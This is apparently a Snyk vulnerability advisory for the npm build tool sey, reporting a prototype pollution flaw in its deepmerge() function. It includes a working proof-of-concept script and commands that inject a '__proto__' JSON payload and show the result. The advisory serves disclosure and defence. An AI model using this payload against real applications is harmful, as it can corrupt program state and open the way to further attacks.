sey@0.1.16

Simple JavaScript build tool with declarative and easy configuration

  • latest version

    0.3.0

  • first published

    10 years ago

  • latest version published

    10 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the sey package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    sey is a Simple JavaScript build tool with declarative and easy configuration

    Affected versions of this package are vulnerable to Prototype Pollution via the deepmerge() function.

    PoC

    // Create the following PoC file:
    // PoC.js
    var deepmerge = require("sey/lib/utils/deepmerge.js")
    
    var obj = {}
    var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
    console.log("Before: " + {}.polluted);
    deepmerge({}, JSON.parse(malicious_payload));
    console.log("After : " + {}.polluted);
    
    // End of file
    
    // Execute the following commands in the terminal:
    npm i sey # Install affected module
    node PoC.js # Run the PoC
    
    // Check the Output:
    "Before : undefined"
    "After : Yes! Its Polluted"
    

    How to fix Prototype Pollution?

    There is no fixed version for sey.

    *